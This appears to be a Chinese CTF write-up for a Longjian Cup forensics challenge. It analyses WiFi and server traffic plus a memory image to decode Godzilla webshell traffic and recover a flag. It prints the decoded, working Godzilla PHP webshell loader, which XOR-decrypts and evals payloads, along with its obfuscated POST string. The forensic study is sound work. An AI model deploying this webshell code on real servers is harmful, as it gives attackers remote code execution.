陇剑杯之第九题WiFi之学习

题目描述

网管小王最近喜欢上了ctf网络安全竞赛,他使用“哥斯拉”木马来玩玩upload-labs,并且保存了内存镜像、wifi流量和服务器流量,让您来分析后作答:(本题仅1小问)

答题要求

小王往upload-labs上传木马后进行了cat /flag,flag内容为_____________。(压缩包里有解压密码的提示,需要额外添加花括号)

开始解题

1、解压题目给出的压缩包,发现一个镜像、两个流量包。

 2、根据题目分析,小王往服务器上传了后门文件,并且读取了flag文件,题目要去我们找到flag,这个文件的内容。首先看服务器的流量包,在服务器流量包中,找到了上传的后门文件1.php,小王依靠1.PHP文件,执行了读取flag的命令,结果在返回包里,但是返回包却在客户端的流量包中。

 3、随便选择一个包,先分析一下

 URL解密

pass=eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));&key=fL1tMGI4YTljMX78f8Wo/yhTh1ICWCl3T2Dlffl9LdSpe0j5qneQcq98UNA0fsVlxxBe14XeR9/GMTU0pI7iA2M2ZQ==

使用PHP输出一下


@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}
[Finished in 2.4s]

将流量包中参数key的值,代入到上图解密后的PHP代码当中,发现小王执行的命令。

 安装顺序记录一下小王执行的命令

 ​

 

 4、服务器流量包分析完毕,看来只执行了ls和cat flag 这两条命令,这就简单了,只需要在客户端找到对应的响应包,这道题就做出来了。

5、接下来,我们来分析客户端流量包。使用wireshark打开之后,发现因为是WiFi流量,所有的包都被加密了。这个时候就需要获取到WiFi的ssid和密码才能解密。

 6、这个时候就需要从镜像中获取到相关信息了。使用Volatility使用imageinfo参数,获取镜像信息。获知镜像是win7系统

 7、获取镜像内所有的文件名,找到保存有WiFi名称和密码的xml文件。

 8、没有搜索到对应的xml文件,但是却找到了相关的压缩包。结合题目给出来的提示 (压缩包里有解压密码的提示,需要额外添加花括号)确定为该文件。

 9、将该压缩包进行下载。

10、将下载下来的文件重命名为My_Wifi.zip,然后解压,在注释里面看到了提示。

 11、提示密码是网络适配器的GUID号码,这个可以直接在文件名里面找到,具体的位置我忘记了,只能一个一个翻了。找到密码为:{529B7D2A-05D1-4F21-A001-8F4FF817FC3A}

 12、然后解压,找到密码和ssid

 13、解密流量包

 14、在解密后的流量包中找返回包。发现返回包中的数据也经过了加密,已经早就已经知道,后门文件1.php是哥斯拉生成的后门文件,都是默认设置,采用的是xor_base64编码。因此返回包需要先URL解码,然后去除前16位、后16位脏数据,然后再base64解密,然后再异或,然后再gzdecode。由于是异或编码,因此可以直接使用加密时候使用的encode方法。

15、撰写解密脚本,并解出第一个返回包的内容为ok

<?php 
$key1="72a9c691ccdaab98fL1tMGI4YTljMv79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488";
//直接使用encode方法
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$key='3c6e0b8a9c15224a';
$str=substr($key1, 16);
echo $str;
echo PHP_EOL;
$str2=substr($str,0,-16);
echo $str2;
echo PHP_EOL;
$str3=gzdecode(encode(base64_decode($str2),$key));
//gzdecode(encode(base64_decode($key1),$key))
echo $str3;
 ?>

 16、依次解出返回包的内容。

 

 

 

 17.然后就找到了flag。flag{5db5b7b0bb74babb66e1522f3a6b1b12}

总结:这道题线上赛的时候,没有做出来,原因如下:

1、心态不行,太着急了,没有伴随着思考,导致1.PHP文件的源码没有仔细看;

2、平时不注意执行合一、格物致知,经常使用哥斯拉马却没看过加密方式,只知道使用;

3、协议方面不熟悉,WiFi加密都不知道怎么解密

4、工具不熟悉,wireshark高级使用就不会了。

改正:

1、调整心态,不要着急不要慌,不熬夜,早起,吃早点。

2、格物致知,知行合一,将一个东西研究透彻。

3、熟悉一下wireshark,估计以后要常用了。

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值